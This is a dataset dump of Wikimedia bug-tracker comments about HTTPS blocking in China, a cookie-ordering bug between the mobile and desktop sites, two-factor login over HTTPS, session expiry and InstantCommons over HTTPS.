+I can't check it now but per user reports, the current situation is that:
+
+* Desktop sites: no block at all
+* Mobile sites: all projects are blocked
+
+... and this can't be described with our configuration array. :/
+
+Should we still be playing this cat & mouse game?",,,1395428710,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,29,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+236705,wmgHTTPSBlacklistCountries changes for CN,"Liangent: Did your ""OK"" mean ""Yes"" or ""Oh well""? :)",,,1395322745,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0
+236698,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #10)
+> Liangent: Situation is still as described in comment 8?
+
+OK but it's reported by users that HTTPS is not blocked at all now...",,,1389295226,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,19,True,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+236693,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1389270599,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,19,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+236690,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1385134766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+236686,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #7)
+> Change 84781 merged by jenkins-bot:
+> wmgHTTPSBlacklistCountries changes for CN
+> 
+> https://gerrit.wikimedia.org/r/84781
+
+Is this correctly patched & deployed?
+
+It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match.",,,1380458356,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+236682,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 merged by jenkins-bot:
+wmgHTTPSBlacklistCountries changes for CN
+
+https://gerrit.wikimedia.org/r/84781",,,1379702455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236677,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 had a related patch set uploaded by Reedy:
+wmgHTTPSBlacklistCountries changes for CN
+
+https://gerrit.wikimedia.org/r/84781",,,1379529615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236671,wmgHTTPSBlacklistCountries changes for CN,"'wmgHTTPSBlacklistCountries' => array(
+    'default' => array(
+        'IR', // Iran
+    ),
+    '+wikipedia' => array(
+        'IR', // Iran
+    ),
+),
+
+
+^ I guess that's the patch...",,,1379529528,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1
+236663,wmgHTTPSBlacklistCountries changes for CN,Liangent: Willing to come up with a patch?,,,1379525113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+236655,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #2)
+> (In reply to comment #1)
+> > (In reply to comment #0)
+> > > It was reported by users that HTTPS block in China was only for Wikipedia
+> > 
+> > Any URL (if that question makes sense & does not create problems for
+> > anybody)?
+> 
+> Hmm... it's even blocked in the other way for some other sites:
+> 
+> https://zh.greatfire.org/zh.wikisource.org (blocked)
+> https://zh.greatfire.org/https/zh.wikisource.org (not blocked)
+
+I guess I'd better provide English links:
+
+https://en.greatfire.org/zh.wikisource.org (blocked)
+https://en.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828628,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+236649,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #1)
+> (In reply to comment #0)
+> > It was reported by users that HTTPS block in China was only for Wikipedia
+> 
+> Any URL (if that question makes sense & does not create problems for
+> anybody)?
+
+Hmm... it's even blocked in the other way for some other sites:
+
+https://zh.greatfire.org/zh.wikisource.org (blocked)
+https://zh.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828294,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,False,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+236644,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #0)
+> It was reported by users that HTTPS block in China was only for Wikipedia
+
+Any URL (if that question makes sense & does not create problems for anybody)?",,,1378825089,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c2,3,True,,,1,True,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+55667,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".
+
+Steps to reproduce:
+
+1: Delete all cookies.
+2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
+3: At the bottom of the page, click on the link to the desktop version.
+4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.
+
+Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
+Expected result: The browser shows the desktop HTTPS edition of Wikipedia.
+
+IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).
+
+== Explanation ==
+
+Steps 2-3 should give you two cookies:
+
+Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
+Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure
+
+When you request the Wikipedia article (say, http://en.wikipedia.org/wiki/A), the following happens:
+
+1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:
+
+Cookie: enwikiforceHTTPS=1
+
+2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to http://en.m.wikipedia.org/wiki/A (still no HTTPS).
+
+3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:
+
+Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1
+
+4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to https://en.m.wikipedia.org/wiki/A.
+
+5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):
+
+Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true
+
+6. You see the mobile website.
+
+Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1378073400,1380302461.0,PHID-USER-zcvchmenkrawdr5233in,False,,False,PHID-TASK-4455hu3tjinek2ehrboa,task_description,declined,True,c2,3,False,False,True,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+256619,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.,,,1380302461,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+256615,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"**mgrover** wrote:
+
+I've tried several different ways as well and can't get it to happen either.",,,1380225162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+256611,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.
+
+I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).
+
+Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?",,,1380155649,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+256606,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then.",,,1379716150,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,3,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+256601,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.
+
+Arthur any thoughts on this?",,,1378400457,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c2,3,False,,,1,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+55197,OATH should use $wgSecureLogin,"The TOTP RFC recommends all communications (especially those involving the secret key) be over TLS. I recommend using $wgSecureLogin as an indicator of whether communications should be forced over HTTPS.
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Low,25.0,1377142200,,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_description,open,True,c2,2,False,False,,-1,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+1505456,OATH should use $wgSecureLogin,@Parent5446: I am resetting the assignee of this task because there has not been progress lately (please correct me if I am wrong!). Resetting the assignee avoids the impression that somebody is already working on this task. It also allows others to potentially work towards fixing this task. Please claim this task again when you plan to work on it (via {nav name=Add Action... > Assign / Claim} in the dropdown menu) - it would be welcome. Thanks for your understanding!,,,1589718679,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,350,True,0,1,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+1331492,OATH should use $wgSecureLogin,"Change 213770 abandoned by Reedy:
+Make OATHAuth respect $wgSecureLogin
+
+[[https://gerrit.wikimedia.org/r/213770]]",,,1565194938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,310,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+967009,OATH should use $wgSecureLogin,"AuthManager handles `$wgSecureLogin` on login, so entering the one-time key is secured. The other AuthManager special pages do not respect `$wgSecureLogin`; they probably should though. Filed {T180886}.",,,1511043011,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,220,True,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+765962,OATH should use $wgSecureLogin,"@Reedy, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not (yet) part of AuthManager and I presume would still require this changeset.",,,1479928652,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,169,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+765612,OATH should use $wgSecureLogin,"@Reedy, I grepped through our source code, but I see no indication of AuthManager handling this. It should also be noted that the flow to enable and disable 2FA are not part of AuthManager and I presume would still require this changeset.",,,1479894144,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,169,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+759915,OATH should use $wgSecureLogin,Does AuthManager actually handle this now?,,,1478920246,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,True,,,167,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+463808,OATH should use $wgSecureLogin,"Change 213770 had a related patch set uploaded (by Parent5446):
+Make OATHAuth respect $wgSecureLogin
+
+[[https://gerrit.wikimedia.org/r/213770]]
+",,,1432601167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3qkhr2qqxbcu44cqtjqt,task_subcomment,,True,c2,3,False,,,90,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+55156,Provide option to force a login session to end within a certain time,"This is similar to bug 26538, but for the user side I presume
+
+It is requested that people be able to set an option that would allow them to configure the duration time of their login session.
+
+Use case:
+Multiple Wikipedia users sharing the same computer/browser in a household.
+
+We have seen a number of times now that people/siblings/partners accidentally use each others accounts in this situation. The option would forcefully expire the login session after a certain amount of time, independent of the cookie expiration of the browser.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56212",Low,25.0,1377097560,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-uaaoih2fzwroz6hv2eis,task_description,open,True,c2,2,False,False,,-1,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+680643,Provide option to force a login session to end within a certain time,"Some brainstorming:
+* ""Expiring"" a session is easy enough with SessionManager, just store the last-active time in the session (either in the data or use the SessionMetadata hook to save it in the metadata) and use the SessionCheckInfo hook to invalidate it if the time isn't recent enough.
+* OTOH, determining when a user was last active isn't so easy since we don't want to be having every page read having to write to the session to update an activity timestamp.
+** You'd need to decide on a granularity (G) for the activity timestamps that results in an acceptable rate of writes, and accept that an expiry of T minutes might really expire after G-ε minutes of reading followed by only T-G+ε minutes of real inactivity.
+* ""Restoring"" the session on login is another tricky issue, particularly since the things the server considers as being in the session are not necessarily the things the user would consider.
+** For example, a user might think of a situation like ""I'm editing a page, the session expires, I leave the edit form to log in, then come back and the edit-in-progress should still be there."" But the data in the edit form isn't maintained in the session (it's in the state of the edit form that the user left), so it's not something the server could easily ""restore"" after login.
+* Expiring the session in this manner would interact oddly with the ""remember me"" checkbox on the login form: either the early expiration would override the remembering (but only when `$wgObjectCacheSessionExpiry` isn't also exceeded), or the remembering would override the expiration so the only effect would be an increase in the ""Sorry! We could not process your edit due to a loss of session data"" (but still being logged in) when editing. So you might just want to skip early expiry entirely if the session is 'remembered'.",,,1466090911,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uaaoih2fzwroz6hv2eis,task_subcomment,,True,c2,3,True,,,146,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+251662,Provide option to force a login session to end within a certain time,"**My76Strat** wrote:
+
+In the description where it says ""expire the login session after a certain amount of time"" it should state ""expire the login session after a certain amount of time inactive"" to align with the stated desire as discussed at wp:vmt. Clearly it is not desired that an active session should forcefully expire in the midst of activity on a timed basis alone. An additional feature was requested as prudent which would allow an account forcefully expired for inactivity to restore the entire session upon logging in; to prevent the loss of data incurred by the forced expiration. Please consider these stipulations as if they were included in the original description; they are included in the original request.",,,1377169730,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uaaoih2fzwroz6hv2eis,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+55131,make $wgUseInstantCommons protocol always secure / SSL / https,"**Author:** `mr.tamershlash`
+
+**Description:**
+$wgUseInstantCommons protocol appears to be relative according to this bugfix: https://bugzilla.wikimedia.org/show_bug.cgi?id=32219
+
+However, in some countries (like Syria) Wikimedia Commons is blocked if you're using http, so if you're on another wiki that doesn't have ssl, you'll not be able to see any image form the commons, which is really odd.
+
+I think that $wgUseInstantCommons should always use https, I tried to use $wgForeignFileRepos code here: https://www.mediawiki.org/wiki/Manual:$wgUseInstantCommons and changed the apibase to use https and everything worked just fine, it'll be better if just the easy $wgUseInstantCommons use https always.
+
+Thanks.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=32219",Low,25.0,1377036300,1434485159.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-igxvyecmtnognd2yaxin,task_description,duplicate,True,c2,2,False,False,False,-2,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+250029,make $wgUseInstantCommons protocol always secure / SSL / https,Better is subjective. Some people cannot use HTTPS. There's a lovely discussion of this going on for WMF projects. See https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/,,,1377036466,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-igxvyecmtnognd2yaxin,task_subcomment,,True,c2,2,True,,,-2,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0
+54946,wayback machine can display user login page if the link is clicked from an article,"**Author:** `jeffluo35`
+
+**Description:**
+A screenshot of the problem.
+
+When browsing a wikipedia article in the internet archive wayback machine, somebody could click the login link and access the login page.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
